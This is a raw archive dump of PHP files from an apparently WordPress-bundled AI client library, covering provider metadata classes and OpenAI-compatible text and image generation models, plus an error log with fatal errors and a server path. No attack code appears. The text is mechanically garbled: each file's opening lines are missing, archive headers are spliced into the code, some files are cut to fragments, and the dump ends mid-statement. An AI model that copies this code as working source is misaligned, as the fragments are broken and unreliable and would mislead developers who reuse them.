The provider metadata. */ abstract protected static function createProviderMetadata(): ProviderMetadata; /** * Creates the provider availability instance. * * @since 0.1.0 * * @return ProviderAvailabilityInterface The provider availability. */ abstract protected static function createProviderAvailability(): ProviderAvailabilityInterface; /** * Creates the model metadata directory instance. * * @since 0.1.0 * * @return ModelMetadataDirectoryInterface The model metadata directory. */ abstract protected static function createModelMetadataDirectory(): ModelMetadataDirectoryInterface; } PK!2dd,src/Providers/DTO/ProviderModelsMetadata.phpnu[ * } * * @extends AbstractDataTransferObject */ class ProviderModelsMetadata extends AbstractDataTransferObject { public const KEY_PROVIDER = 'provider'; public const KEY_MODELS = 'models'; /** * @var ProviderMetadata The provider metadata. */ protected \WordPress\AiClient\Providers\DTO\ProviderMetadata $provider; /** * @var list The available models. */ protected array $models; /** * Constructor. * * @since 0.1.0 * * @param ProviderMetadata $provider The provider metadata. * @param list $models The available models. * * @throws InvalidArgumentException If models is not a list. */ public function __construct(\WordPress\AiClient\Providers\DTO\ProviderMetadata $provider, array $models) { if (!array_is_list($models)) { throw new InvalidArgumentException('Models must be a list array.'); } $this->provider = $provider; $this->models = $models; } /** * Creates a deep clone of this metadata. * * Clones the provider metadata and all model metadata objects * to ensure the cloned instance is independent of the original. * * @since 0.4.2 */ public function __clone() { // Clone provider metadata $this->provider = clone $this->provider; // Deep clone models array (ModelMetadata has __clone) $clonedModels = []; foreach ($this->models as $model) { $clonedModels[] = clone $model; } $this->models = $clonedModels; } /** * Gets the provider metadata. * * @since 0.1.0 * * @return ProviderMetadata The provider metadata. */ public function getProvider(): \WordPress\AiClient\Providers\DTO\ProviderMetadata { return $this->provider; } /** * Gets the available models. * * @since 0.1.0 * * @return list The available models. */ public function getModels(): array { return $this->models; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function getJsonSchema(): array { return ['type' => 'object', 'properties' => [self::KEY_PROVIDER => \WordPress\AiClient\Providers\DTO\ProviderMetadata::getJsonSchema(), self::KEY_MODELS => ['type' => 'array', 'items' => ModelMetadata::getJsonSchema(), 'description' => 'The available models for this provider.']], 'required' => [self::KEY_PROVIDER, self::KEY_MODELS]]; } /** * {@inheritDoc} * * @since 0.1.0 * * @return ProviderModelsMetadataArrayShape */ public function toArray(): array { return [self::KEY_PROVIDER => $this->provider->toArray(), self::KEY_MODELS => array_map(static fn(ModelMetadata $model): array => $model->toArray(), $this->models)]; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function fromArray(array $array): self { static::validateFromArrayData($array, [self::KEY_PROVIDER, self::KEY_MODELS]); return new self(\WordPress\AiClient\Providers\DTO\ProviderMetadata::fromArray($array[self::KEY_PROVIDER]), array_map(static fn(array $modelData): ModelMetadata => ModelMetadata::fromArray($modelData), $array[self::KEY_MODELS])); } } PK!N&src/Providers/DTO/ProviderMetadata.phpnu[ */ class ProviderMetadata extends AbstractDataTransferObject { public const KEY_ID = 'id'; public const KEY_NAME = 'name'; public const KEY_DESCRIPTION = 'description'; public const KEY_TYPE = 'type'; public const KEY_CREDENTIALS_URL = 'credentialsUrl'; public const KEY_AUTHENTICATION_METHOD = 'authenticationMethod'; public const KEY_LOGO_PATH = 'logoPath'; /** * @var string The provider's unique identifier. */ protected string $id; /** * @var string The provider's display name. */ protected string $name; /** * @var string|null The provider's description. */ protected ?string $description; /** * @var ProviderTypeEnum The provider type. */ protected ProviderTypeEnum $type; /** * @var string|null The URL where users can get credentials. */ protected ?string $credentialsUrl; /** * @var RequestAuthenticationMethod|null The authentication method. */ protected ?RequestAuthenticationMethod $authenticationMethod; /** * @var string|null The full path to the provider's logo image file. */ protected ?string $logoPath; /** * Constructor. * * @since 0.1.0 * @since 1.2.0 Added optional $description parameter. * @since 1.3.0 Added optional $logoPath parameter. * * @param string $id The provider's unique identifier. * @param string $name The provider's display name. * @param ProviderTypeEnum $type The provider type. * @param string|null $credentialsUrl The URL where users can get credentials. * @param RequestAuthenticationMethod|null $authenticationMethod The authentication method. * @param string|null $description The provider's description. * @param string|null $logoPath The full path to the provider's logo image file. * @throws InvalidArgumentException If the provider ID contains invalid characters. */ public function __construct(string $id, string $name, ProviderTypeEnum $type, ?string $credentialsUrl = null, ?RequestAuthenticationMethod $authenticationMethod = null, ?string $description = null, ?string $logoPath = null) { if (!preg_match('/^[a-z0-9\-_]+$/', $id)) { throw new InvalidArgumentException(sprintf( // phpcs:ignore Generic.Files.LineLength.TooLong 'Invalid provider ID "%s". Only lowercase alphanumeric characters, hyphens, and underscores are allowed.', $id )); } $this->id = $id; $this->name = $name; $this->description = $description; $this->type = $type; $this->credentialsUrl = $credentialsUrl; $this->authenticationMethod = $authenticationMethod; $this->logoPath = $logoPath; } /** * Gets the provider's unique identifier. * * @since 0.1.0 * * @return string The provider ID. */ public function getId(): string { return $this->id; } /** * Gets the provider's display name. * * @since 0.1.0 * * @return string The provider name. */ public function getName(): string { return $this->name; } /** * Gets the provider's description. * * @since 1.2.0 * * @return string|null The provider description. */ public function getDescription(): ?string { return $this->description; } /** * Gets the provider type. * * @since 0.1.0 * * @return ProviderTypeEnum The provider type. */ public function getType(): ProviderTypeEnum { return $this->type; } /** * Gets the credentials URL. * * @since 0.1.0 * * @return string|null The credentials URL. */ public function getCredentialsUrl(): ?string { return $this->credentialsUrl; } /** * Gets the authentication method. * * @since 0.4.0 * * @return RequestAuthenticationMethod|null The authentication method. */ public function getAuthenticationMethod(): ?RequestAuthenticationMethod { return $this->authenticationMethod; } /** * Gets the full path to the provider's logo image file. * * @since 1.3.0 * * @return string|null The full path to the logo image file. */ public function getLogoPath(): ?string { return $this->logoPath; } /** * {@inheritDoc} * * @since 0.1.0 * @since 1.2.0 Added description to schema. * @since 1.3.0 Added logoPath to schema. */ public static function getJsonSchema(): array { return ['type' => 'object', 'properties' => [self::KEY_ID => ['type' => 'string', 'description' => 'The provider\'s unique identifier.'], self::KEY_NAME => ['type' => 'string', 'description' => 'The provider\'s display name.'], self::KEY_DESCRIPTION => ['type' => 'string', 'description' => 'The provider\'s description.'], self::KEY_TYPE => ['type' => 'string', 'enum' => ProviderTypeEnum::getValues(), 'description' => 'The provider type (cloud, server, or client).'], self::KEY_CREDENTIALS_URL => ['type' => 'string', 'description' => 'The URL where users can get credentials.'], self::KEY_AUTHENTICATION_METHOD => ['type' => ['string', 'null'], 'enum' => array_merge(RequestAuthenticationMethod::getValues(), [null]), 'description' => 'The authentication method.'], self::KEY_LOGO_PATH => ['type' => 'string', 'description' => 'The full path to the provider\'s logo image file.']], 'required' => [self::KEY_ID, self::KEY_NAME, self::KEY_TYPE]]; } /** * {@inheritDoc} * * @since 0.1.0 * @since 1.2.0 Added description to output. * @since 1.3.0 Added logoPath to output. * * @return ProviderMetadataArrayShape */ public function toArray(): array { return [self::KEY_ID => $this->id, self::KEY_NAME => $this->name, self::KEY_DESCRIPTION => $this->description, self::KEY_TYPE => $this->type->value, self::KEY_CREDENTIALS_URL => $this->credentialsUrl, self::KEY_AUTHENTICATION_METHOD => $this->authenticationMethod ? $this->authenticationMethod->value : null, self::KEY_LOGO_PATH => $this->logoPath]; } /** * {@inheritDoc} * * @since 0.1.0 * @since 1.2.0 Added description support. * @since 1.3.0 Added logoPath support. */ public static function fromArray(array $array): self { static::validateFromArrayData($array, [self::KEY_ID, self::KEY_NAME, self::KEY_TYPE]); return new self($array[self::KEY_ID], $array[self::KEY_NAME], ProviderTypeEnum::from($array[self::KEY_TYPE]), $array[self::KEY_CREDENTIALS_URL] ?? null, isset($array[self::KEY_AUTHENTICATION_METHOD]) ? RequestAuthenticationMethod::from($array[self::KEY_AUTHENTICATION_METHOD]) : null, $array[self::KEY_DESCRIPTION] ?? null, $array[self::KEY_LOGO_PATH] ?? null); } } PK!9"6src/Providers/DTO/error_lognu[[04-Sep-2026 13:23:09 UTC] PHP Fatal error: Uncaught Error: Class "WordPress\AiClient\Common\AbstractDataTransferObject" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/DTO/ProviderMetadata.php:32 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/DTO/ProviderMetadata.php on line 32 [04-Sep-2026 13:23:09 UTC] PHP Fatal error: Uncaught Error: Class "WordPress\AiClient\Common\AbstractDataTransferObject" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/DTO/ProviderModelsMetadata.php:27 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/DTO/ProviderModelsMetadata.php on line 27 PK!Isrc/Providers/ApiBasedImplementation/Contracts/ApiBasedModelInterface.phpnu[src/Providers/ApiBasedImplementation/AbstractApiBasedModel.phpnu[metadata = $metadata; $this->providerMetadata = $providerMetadata; $this->config = ModelConfig::fromArray([]); } /** * {@inheritDoc} * * @since 0.1.0 */ final public function metadata(): ModelMetadata { return $this->metadata; } /** * {@inheritDoc} * * @since 0.1.0 */ final public function providerMetadata(): ProviderMetadata { return $this->providerMetadata; } /** * {@inheritDoc} * * @since 0.1.0 */ final public function setConfig(ModelConfig $config): void { $this->config = $config; } /** * {@inheritDoc} * * @since 0.1.0 */ final public function getConfig(): ModelConfig { return $this->config; } /** * {@inheritDoc} * * @since 0.3.0 */ final public function setRequestOptions(RequestOptions $requestOptions): void { $this->requestOptions = $requestOptions; } /** * {@inheritDoc} * * @since 0.3.0 */ final public function getRequestOptions(): ?RequestOptions { return $this->requestOptions; } } PK!=A Osrc/Providers/ApiBasedImplementation/AbstractApiBasedModelMetadataDirectory.phpnu[getModelMetadataMap(); return array_values($modelsMetadata); } /** * {@inheritDoc} * * @since 0.1.0 */ final public function hasModelMetadata(string $modelId): bool { $modelsMetadata = $this->getModelMetadataMap(); return isset($modelsMetadata[$modelId]); } /** * {@inheritDoc} * * @since 0.1.0 */ final public function getModelMetadata(string $modelId): ModelMetadata { $modelsMetadata = $this->getModelMetadataMap(); if (!isset($modelsMetadata[$modelId])) { throw new InvalidArgumentException(sprintf('No model with ID %s was found in the provider', $modelId)); } return $modelsMetadata[$modelId]; } /** * Returns the map of model ID to model metadata for all models from the provider. * * @since 0.1.0 * * @return array Map of model ID to model metadata. */ private function getModelMetadataMap(): array { /** @var array */ return $this->cached(self::MODELS_CACHE_KEY, fn() => $this->sendListModelsRequest(), 86400); } /** * {@inheritDoc} * * @since 0.4.0 */ protected function getCachedKeys(): array { return [self::MODELS_CACHE_KEY]; } /** * {@inheritDoc} * * @since 0.4.0 */ protected function getBaseCacheKey(): string { return 'ai_client_' . AiClient::VERSION . '_' . md5(static::class); } /** * Sends the API request to list models from the provider and returns the map of model ID to model metadata. * * @since 0.1.0 * * @return array Map of model ID to model metadata. */ abstract protected function sendListModelsRequest(): array; } PK!l<src/Providers/ApiBasedImplementation/AbstractApiProvider.phpnu[modelMetadataDirectory = $modelMetadataDirectory; } /** * {@inheritDoc} * * @since 0.1.0 */ public function isConfigured(): bool { try { // Attempt to list models to check if the provider is available. $this->modelMetadataDirectory->listModelMetadata(); return \true; } catch (Exception $e) { // If an exception occurs, the provider is not available. return \false; } } } PK!`"@ @ Qsrc/Providers/ApiBasedImplementation/GenerateTextApiBasedProviderAvailability.phpnu[model = $model; } /** * {@inheritDoc} * * @since 0.1.0 */ public function isConfigured(): bool { // Set config to use as few resources as possible for the test. $modelConfig = ModelConfig::fromArray([ModelConfig::KEY_MAX_TOKENS => 1]); $this->model->setConfig($modelConfig); try { // Attempt to generate text to check if the provider is available. $this->model->generateTextResult([new Message(MessageRoleEnum::user(), [new MessagePart('a')])]); return \true; } catch (Exception $e) { // If an exception occurs, the provider is not available. return \false; } } } PK!gä _src/Providers/OpenAiCompatibleImplementation/AbstractOpenAiCompatibleModelMetadataDirectory.phpnu[getHttpTransporter(); $request = $this->createRequest(HttpMethodEnum::GET(), 'models'); $request = $this->getRequestAuthentication()->authenticateRequest($request); $response = $httpTransporter->send($request); $this->throwIfNotSuccessful($response); $modelsMetadataList = $this->parseResponseToModelMetadataList($response); $modelMetadataMap = []; foreach ($modelsMetadataList as $modelMetadata) { $modelMetadataMap[$modelMetadata->getId()] = $modelMetadata; } return $modelMetadataMap; } /** * Creates a request object for the provider's API. * * @since 0.1.0 * * @param HttpMethodEnum $method The HTTP method. * @param string $path The API endpoint path, relative to the base URI. * @param array> $headers The request headers. * @param string|array|null $data The request data. * @return Request The request object. */ abstract protected function createRequest(HttpMethodEnum $method, string $path, array $headers = [], $data = null): Request; /** * Throws an exception if the response is not successful. * * @since 0.1.0 * * @param Response $response The HTTP response to check. * @throws ResponseException If the response is not successful. */ protected function throwIfNotSuccessful(Response $response): void { /* * While this method only calls the utility method, it's important to have it here as a protected method so * that child classes can override it if needed. */ ResponseUtil::throwIfNotSuccessful($response); } /** * Parses the response from the API endpoint to list models into a list of model metadata objects. * * @since 0.1.0 * * @param Response $response The response from the API endpoint to list models. * @return list List of model metadata objects. */ abstract protected function parseResponseToModelMetadataList(Response $response): array; } PK!bb\src/Providers/OpenAiCompatibleImplementation/AbstractOpenAiCompatibleTextGenerationModel.phpnu[ * } * } * @phpstan-type MessageData array{ * role?: string, * reasoning_content?: string, * content?: string, * tool_calls?: list * } * @phpstan-type ChoiceData array{ * message?: MessageData, * finish_reason?: string * } * @phpstan-type UsageData array{ * prompt_tokens?: int, * completion_tokens?: int, * total_tokens?: int * } * @phpstan-type ResponseData array{ * id?: string, * choices?: list, * usage?: UsageData * } */ abstract class AbstractOpenAiCompatibleTextGenerationModel extends AbstractApiBasedModel implements TextGenerationModelInterface { /** * {@inheritDoc} * * @since 0.1.0 */ final public function generateTextResult(array $prompt): GenerativeAiResult { $httpTransporter = $this->getHttpTransporter(); $params = $this->prepareGenerateTextParams($prompt); $request = $this->createRequest(HttpMethodEnum::POST(), 'chat/completions', ['Content-Type' => 'application/json'], $params); // Add authentication credentials to the request. $request = $this->getRequestAuthentication()->authenticateRequest($request); // Send and process the request. $response = $httpTransporter->send($request); $this->throwIfNotSuccessful($response); return $this->parseResponseToGenerativeAiResult($response); } /** * Prepares the given prompt and the model configuration into parameters for the API request. * * @since 0.1.0 * * @param list $prompt The prompt to generate text for. Either a single message or a list of messages * from a chat. * @return array The parameters for the API request. */ protected function prepareGenerateTextParams(array $prompt): array { $config = $this->getConfig(); $params = ['model' => $this->metadata()->getId(), 'messages' => $this->prepareMessagesParam($prompt, $config->getSystemInstruction())]; $outputModalities = $config->getOutputModalities(); if (is_array($outputModalities)) { $this->validateOutputModalities($outputModalities); if (count($outputModalities) > 1) { $params['modalities'] = $this->prepareOutputModalitiesParam($outputModalities); } } $candidateCount = $config->getCandidateCount(); if ($candidateCount !== null) { $params['n'] = $candidateCount; } $maxTokens = $config->getMaxTokens(); if ($maxTokens !== null) { $params['max_tokens'] = $maxTokens; } $temperature = $config->getTemperature(); if ($temperature !== null) { $params['temperature'] = $temperature; } $topP = $config->getTopP(); if ($topP !== null) { $params['top_p'] = $topP; } $stopSequences = $config->getStopSequences(); if (is_array($stopSequences)) { $params['stop'] = $stopSequences; } $presencePenalty = $config->getPresencePenalty(); if ($presencePenalty !== null) { $params['presence_penalty'] = $presencePenalty; } $frequencyPenalty = $config->getFrequencyPenalty(); if ($frequencyPenalty !== null) { $params['frequency_penalty'] = $frequencyPenalty; } $logprobs = $config->getLogprobs(); if ($logprobs !== null) { $params['logprobs'] = $logprobs; } $topLogprobs = $config->getTopLogprobs(); if ($topLogprobs !== null) { $params['top_logprobs'] = $topLogprobs; } $functionDeclarations = $config->getFunctionDeclarations(); if (is_array($functionDeclarations)) { $params['tools'] = $this->prepareToolsParam($functionDeclarations); } $outputMimeType = $config->getOutputMimeType(); if ('application/json' === $outputMimeType) { $outputSchema = $config->getOutputSchema(); $params['response_format'] = $this->prepareResponseFormatParam($outputSchema); } /* * Any custom options are added to the parameters as well. * This allows developers to pass other options that may be more niche or not yet supported by the SDK. */ $customOptions = $config->getCustomOptions(); foreach ($customOptions as $key => $value) { if (isset($params[$key])) { throw new InvalidArgumentException(sprintf('The custom option "%s" conflicts with an existing parameter.', $key)); } $params[$key] = $value; } return $params; } /** * Prepares the messages parameter for the API request. * * @since 0.1.0 * * @param list $messages The messages to prepare. * @param string|null $systemInstruction An optional system instruction to prepend to the messages. * @return list> The prepared messages parameter. */ protected function prepareMessagesParam(array $messages, ?string $systemInstruction = null): array { $messagesParam = array_map(function (Message $message): array { // Special case: Function response. $messageParts = $message->getParts(); if (count($messageParts) === 1 && $messageParts[0]->getType()->isFunctionResponse()) { $functionResponse = $messageParts[0]->getFunctionResponse(); if (!$functionResponse) { // This should be impossible due to class internals, but still needs to be checked. throw new RuntimeException('The function response typed message part must contain a function response.'); } return ['role' => 'tool', 'content' => json_encode($functionResponse->getResponse()), 'tool_call_id' => $functionResponse->getId()]; } $messageData = ['role' => $this->getMessageRoleString($message->getRole()), 'content' => array_values(array_filter(array_map([$this, 'getMessagePartContentData'], $messageParts)))]; // Only include tool_calls if there are any (OpenAI rejects empty arrays). $toolCalls = array_values(array_filter(array_map([$this, 'getMessagePartToolCallData'], $messageParts))); if (!empty($toolCalls)) { $messageData['tool_calls'] = $toolCalls; } return $messageData; }, $messages); if ($systemInstruction) { array_unshift($messagesParam, [ /* * TODO: Replace this with 'developer' in the future. * See https://platform.openai.com/docs/api-reference/chat/create#chat_create-messages */ 'role' => 'system', 'content' => [['type' => 'text', 'text' => $systemInstruction]], ]); } return $messagesParam; } /** * Returns the OpenAI API specific role string for the given message role. * * @since 0.1.0 * * @param MessageRoleEnum $role The message role. * @return string The role for the API request. */ protected function getMessageRoleString(MessageRoleEnum $role): string { if ($role === MessageRoleEnum::model()) { return 'assistant'; } return 'user'; } /** * Returns the OpenAI API specific content data for a message part. * * @since 0.1.0 * * @param MessagePart $part The message part to get the data for. * @return ?array The data for the message content part, or null if not applicable. * @throws InvalidArgumentException If the message part type or data is unsupported. */ protected function getMessagePartContentData(MessagePart $part): ?array { $type = $part->getType(); if ($type->isText()) { /* * The OpenAI Chat Completions API spec does not support annotating thought parts as input, * so we instead skip them. */ if ($part->getChannel()->isThought()) { return null; } return ['type' => 'text', 'text' => $part->getText()]; } if ($type->isFile()) { $file = $part->getFile(); if (!$file) { // This should be impossible due to class internals, but still needs to be checked. throw new RuntimeException('The file typed message part must contain a file.'); } if ($file->isRemote()) { if ($file->isImage()) { return ['type' => 'image_url', 'image_url' => ['url' => $file->getUrl()]]; } throw new InvalidArgumentException(sprintf('Unsupported MIME type "%s" for remote file message part.', $file->getMimeType())); } // Else, it is an inline file. if ($file->isImage()) { return ['type' => 'image_url', 'image_url' => ['url' => $file->getDataUri()]]; } if ($file->isAudio()) { return ['type' => 'input_audio', 'input_audio' => ['data' => $file->getBase64Data(), 'format' => $file->getMimeTypeObject()->toExtension()]]; } throw new InvalidArgumentException(sprintf('Unsupported MIME type "%s" for inline file message part.', $file->getMimeType())); } if ($type->isFunctionCall()) { // Skip, as this is separately included. See `getMessagePartToolCallData()`. return null; } if ($type->isFunctionResponse()) { // Special case: Function response. throw new InvalidArgumentException('The API only allows a single function response, as the only content of the message.'); } throw new InvalidArgumentException(sprintf('Unsupported message part type "%s".', $type)); } /** * Returns the OpenAI API specific tool calls data for a message part. * * @since 0.1.0 * * @param MessagePart $part The message part to get the data for. * @return ?array The data for the message tool call part, or null if not applicable. * @throws InvalidArgumentException If the message part type or data is unsupported. */ protected function getMessagePartToolCallData(MessagePart $part): ?array { $type = $part->getType(); if ($type->isFunctionCall()) { $functionCall = $part->getFunctionCall(); if (!$functionCall) { // This should be impossible due to class internals, but still needs to be checked. throw new RuntimeException('The function call typed message part must contain a function call.'); } $args = $functionCall->getArgs(); /* * Ensure null or empty arrays become empty objects for JSON encoding. * While in theory the JSON schema could also dictate a type of * 'array', in practice function arguments are typically of type * 'object'. More importantly, the OpenAI API specification seems * to expect that, and does not support passing arrays as the root * value. The null check handles the case where FunctionCall normalizes * empty arrays to null. */ if ($args === null || is_array($args) && count($args) === 0) { $args = new \stdClass(); } return ['type' => 'function', 'id' => $functionCall->getId(), 'function' => ['name' => $functionCall->getName(), 'arguments' => json_encode($args)]]; } // All other types are handled in `getMessagePartContentData()`. return null; } /** * Validates that the given output modalities to ensure that at least one output modality is text. * * @since 0.1.0 * * @param array $outputModalities The output modalities to validate. * @throws InvalidArgumentException If no text output modality is present. */ protected function validateOutputModalities(array $outputModalities): void { // If no output modalities are set, it's fine, as we can assume text. if (count($outputModalities) === 0) { return; } foreach ($outputModalities as $modality) { if ($modality->isText()) { return; } } throw new InvalidArgumentException('A text output modality must be present when generating text.'); } /** * Prepares the output modalities parameter for the API request. * * @since 0.1.0 * * @param array $modalities The modalities to prepare. * @return list The prepared modalities parameter. */ protected function prepareOutputModalitiesParam(array $modalities): array { $prepared = []; foreach ($modalities as $modality) { if ($modality->isText()) { $prepared[] = 'text'; } elseif ($modality->isImage()) { $prepared[] = 'image'; } elseif ($modality->isAudio()) { $prepared[] = 'audio'; } else { throw new InvalidArgumentException(sprintf('Unsupported output modality "%s".', $modality)); } } return $prepared; } /** * Prepares the tools parameter for the API request. * * @since 0.1.0 * * @param list $functionDeclarations The function declarations. * @return list> The prepared tools parameter. */ protected function prepareToolsParam(array $functionDeclarations): array { $tools = []; foreach ($functionDeclarations as $functionDeclaration) { $tools[] = ['type' => 'function', 'function' => $functionDeclaration->toArray()]; } return $tools; } /** * Prepares the response format parameter for the API request. * * This is only called if the output MIME type is `application/json`. * * @since 0.1.0 * * @param array|null $outputSchema The output schema. * @return array The prepared response format parameter. */ protected function prepareResponseFormatParam(?array $outputSchema): array { if (is_array($outputSchema)) { return ['type' => 'json_schema', 'json_schema' => $outputSchema]; } return ['type' => 'json_object']; } /** * Creates a request object for the provider's API. * * Implementations should use $this->getRequestOptions() to attach any * configured request options to the Request. * * @since 0.1.0 * * @param HttpMethodEnum $method The HTTP method. * @param string $path The API endpoint path, relative to the base URI. * @param array> $headers The request headers. * @param string|array|null $data The request data. * @return Request The request object. */ abstract protected function createRequest(HttpMethodEnum $method, string $path, array $headers = [], $data = null): Request; /** * Throws an exception if the response is not successful. * * @since 0.1.0 * * @param Response $response The HTTP response to check. * @throws ResponseException If the response is not successful. */ protected function throwIfNotSuccessful(Response $response): void { /* * While this method only calls the utility method, it's important to have it here as a protected method so * that child classes can override it if needed. */ ResponseUtil::throwIfNotSuccessful($response); } /** * Parses the response from the API endpoint to a generative AI result. * * @since 0.1.0 * * @param Response $response The response from the API endpoint. * @return GenerativeAiResult The parsed generative AI result. */ protected function parseResponseToGenerativeAiResult(Response $response): GenerativeAiResult { /** @var ResponseData $responseData */ $responseData = $response->getData(); if (!isset($responseData['choices']) || !$responseData['choices']) { throw ResponseException::fromMissingData($this->providerMetadata()->getName(), 'choices'); } if (!is_array($responseData['choices'])) { throw ResponseException::fromInvalidData($this->providerMetadata()->getName(), 'choices', 'The value must be an array.'); } $candidates = []; foreach ($responseData['choices'] as $index => $choiceData) { if (!is_array($choiceData) || array_is_list($choiceData)) { throw ResponseException::fromInvalidData($this->providerMetadata()->getName(), "choices[{$index}]", 'The value must be an associative array.'); } $candidates[] = $this->parseResponseChoiceToCandidate($choiceData, $index); } $id = isset($responseData['id']) && is_string($responseData['id']) ? $responseData['id'] : ''; if (isset($responseData['usage']) && is_array($responseData['usage'])) { $usage = $responseData['usage']; $tokenUsage = new TokenUsage($usage['prompt_tokens'] ?? 0, $usage['completion_tokens'] ?? 0, $usage['total_tokens'] ?? 0); } else { $tokenUsage = new TokenUsage(0, 0, 0); } // Use any other data from the response as provider-specific response metadata. $additionalData = $responseData; unset($additionalData['id'], $additionalData['choices'], $additionalData['usage']); return new GenerativeAiResult($id, $candidates, $tokenUsage, $this->providerMetadata(), $this->metadata(), $additionalData); } /** * Parses a single choice from the API response into a Candidate object. * * @since 0.1.0 * * @param ChoiceData $choiceData The choice data from the API response. * @param int $index The index of the choice in the choices array. * @return Candidate The parsed candidate. * @throws RuntimeException If the choice data is invalid. */ protected function parseResponseChoiceToCandidate(array $choiceData, int $index): Candidate { if (!isset($choiceData['message']) || !is_array($choiceData['message']) || array_is_list($choiceData['message'])) { throw ResponseException::fromMissingData($this->providerMetadata()->getName(), "choices[{$index}].message"); } if (!isset($choiceData['finish_reason']) || !is_string($choiceData['finish_reason'])) { throw ResponseException::fromMissingData($this->providerMetadata()->getName(), "choices[{$index}].finish_reason"); } $messageData = $choiceData['message']; $message = $this->parseResponseChoiceMessage($messageData, $index); switch ($choiceData['finish_reason']) { case 'stop': $finishReason = FinishReasonEnum::stop(); break; case 'length': $finishReason = FinishReasonEnum::length(); break; case 'content_filter': $finishReason = FinishReasonEnum::contentFilter(); break; case 'tool_calls': $finishReason = FinishReasonEnum::toolCalls(); break; default: throw ResponseException::fromInvalidData($this->providerMetadata()->getName(), "choices[{$index}].finish_reason", sprintf('Invalid finish reason "%s".', $choiceData['finish_reason'])); } return new Candidate($message, $finishReason); } /** * Parses the message from a choice in the API response. * * @since 0.1.0 * * @param MessageData $messageData The message data from the API response. * @param int $index The index of the choice in the choices array. * @return Message The parsed message. */ protected function parseResponseChoiceMessage(array $messageData, int $index): Message { $role = isset($messageData['role']) && 'user' === $messageData['role'] ? MessageRoleEnum::user() : MessageRoleEnum::model(); $parts = $this->parseResponseChoiceMessageParts($messageData, $index); return new Message($role, $parts); } /** * Parses the message parts from a choice in the API response. * * @since 0.1.0 * * @param MessageData $messageData The message data from the API response. * @param int $index The index of the choice in the choices array. * @return MessagePart[] The parsed message parts. */ protected function parseResponseChoiceMessageParts(array $messageData, int $index): array { $parts = []; if (isset($messageData['reasoning_content']) && is_string($messageData['reasoning_content'])) { $parts[] = new MessagePart($messageData['reasoning_content'], MessagePartChannelEnum::thought()); } if (isset($messageData['content']) && is_string($messageData['content'])) { $parts[] = new MessagePart($messageData['content']); } if (isset($messageData['tool_calls']) && is_array($messageData['tool_calls'])) { foreach ($messageData['tool_calls'] as $toolCallIndex => $toolCallData) { $toolCallPart = $this->parseResponseChoiceMessageToolCallPart($toolCallData); if (!$toolCallPart) { throw ResponseException::fromInvalidData($this->providerMetadata()->getName(), "choices[{$index}].message.tool_calls[{$toolCallIndex}]", 'The response includes a tool call of an unexpected type.'); } $parts[] = $toolCallPart; } } return $parts; } /** * Parses a tool call part from the API response. * * @since 0.1.0 * * @param ToolCallData $toolCallData The tool call data from the API response. * @return MessagePart|null The parsed message part for the tool call, or null if not applicable. */ protected function parseResponseChoiceMessageToolCallPart(array $toolCallData): ?MessagePart { /* * For now, only function calls are supported. * * Not all OpenAI compatible APIs include a 'type' key, so we only check its value if it is set. */ if (isset($toolCallData['type']) && 'function' !== $toolCallData['type'] || !isset($toolCallData['function']) || !is_array($toolCallData['function'])) { return null; } $functionArguments = is_string($toolCallData['function']['arguments']) ? json_decode($toolCallData['function']['arguments'], \true) : $toolCallData['function']['arguments']; $functionCall = new FunctionCall(isset($toolCallData['id']) && is_string($toolCallData['id']) ? $toolCallData['id'] : null, isset($toolCallData['function']['name']) && is_string($toolCallData['function']['name']) ? $toolCallData['function']['name'] : null, $functionArguments); return new MessagePart($functionCall); } } PK!F33]src/Providers/OpenAiCompatibleImplementation/AbstractOpenAiCompatibleImageGenerationModel.phpnu[, * usage?: UsageData * } */ abstract class AbstractOpenAiCompatibleImageGenerationModel extends AbstractApiBasedModel implements ImageGenerationModelInterface { /** * {@inheritDoc} * * @since 0.1.0 */ public function generateImageResult(array $prompt): GenerativeAiResult { $httpTransporter = $this->getHttpTransporter(); $params = $this->prepareGenerateImageParams($prompt); $request = $this->createRequest(HttpMethodEnum::POST(), 'images/generations', ['Content-Type' => 'application/json'], $params); // Add authentication credentials to the request. $request = $this->getRequestAuthentication()->authenticateRequest($request); // Send and process the request. $response = $httpTransporter->send($request); $this->throwIfNotSuccessful($response); return $this->parseResponseToGenerativeAiResult($response, isset($params['output_format']) && is_string($params['output_format']) ? "image/{$params['output_format']}" : 'image/png'); } /** * Prepares the given prompt and the model configuration into parameters for the API request. * * @since 0.1.0 * * @param list $prompt The prompt to generate an image for. Either a single message or a list of messages * from a chat. However as of today, OpenAI compatible image generation endpoints only * support a single user message. * @return ImageGenerationParams The parameters for the API request. */ protected function prepareGenerateImageParams(array $prompt): array { $config = $this->getConfig(); $params = ['model' => $this->metadata()->getId(), 'prompt' => $this->preparePromptParam($prompt)]; $candidateCount = $config->getCandidateCount(); if ($candidateCount !== null) { $params['n'] = $candidateCount; } $outputFileType = $config->getOutputFileType(); if ($outputFileType !== null) { $params['response_format'] = $outputFileType->isRemote() ? 'url' : 'b64_json'; } else { // The 'response_format' parameter is required, so we default to 'b64_json' if not set. $params['response_format'] = 'b64_json'; } $outputMimeType = $config->getOutputMimeType(); if ($outputMimeType !== null) { $params['output_format'] = preg_replace('/^image\//', '', $outputMimeType); } $outputMediaOrientation = $config->getOutputMediaOrientation(); $outputMediaAspectRatio = $config->getOutputMediaAspectRatio(); if ($outputMediaOrientation !== null || $outputMediaAspectRatio !== null) { $params['size'] = $this->prepareSizeParam($outputMediaOrientation, $outputMediaAspectRatio); } /* * Any custom options are added to the parameters as well. * This allows developers to pass other options that may be more niche or not yet supported by the SDK. */ $customOptions = $config->getCustomOptions(); foreach ($customOptions as $key => $value) { if (isset($params[$key])) { throw new InvalidArgumentException(sprintf('The custom option "%s" conflicts with an existing parameter.', $key)); } $params[$key] = $value; } /** @var ImageGenerationParams $params */ return $params; } /** * Prepares the prompt parameter for the API request. * * @since 0.1.0 * * @param list $messages The messages to prepare. However as of today, OpenAI compatible image generation * endpoints only support a single user message. * @return string The prepared prompt parameter. */ protected function preparePromptParam(array $messages): string { if (count($messages) !== 1) { throw new InvalidArgumentException('The API requires a single user message as prompt.'); } $message = $messages[0]; if 